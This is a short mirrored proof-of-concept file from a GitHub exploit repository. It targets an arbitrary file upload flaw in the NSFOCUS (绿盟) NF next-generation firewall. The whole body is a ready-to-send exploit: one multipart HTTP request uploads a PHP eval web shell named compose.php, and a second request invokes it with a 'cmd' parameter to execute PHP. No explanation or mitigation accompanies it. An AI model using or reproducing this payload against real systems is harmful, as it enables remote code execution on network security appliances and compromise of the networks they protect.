mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-08-13 03:16:31 +00:00
16 lines
522 B
Markdown
16 lines
522 B
Markdown
|
## 绿盟 NF 下一代防火墙 任意文件上传漏洞
|
||
|
|
```
|
||
|
|
POST /api/v1/device/bugsInfo HTTP/1.1
|
||
|
|
Content-Type: multipart/form-data; boundary=4803b59d015026999b45993b1245f0ef
|
||
|
|
Host:
|
||
|
|
--4803b59d015026999b45993b1245f0ef
|
||
|
|
Content-Disposition: form-data; name="file"; filename="compose.php"
|
||
|
|
<?php eval($_POST['cmd']);?>
|
||
|
|
--4803b59d015026999b45993b1245f0ef--
|
||
|
|
POST /mail/include/header_main.php HTTP/1.1
|
||
|
|
Content-Type: application/x-www-form-urlencoded
|
||
|
|
Cookie: PHPSESSID_NF=82c13f359d0dd8f51c29d658a9c8ac71
|
||
|
|
Host:
|
||
|
|
cmd=phpinfo();
|
||
|
|
```
|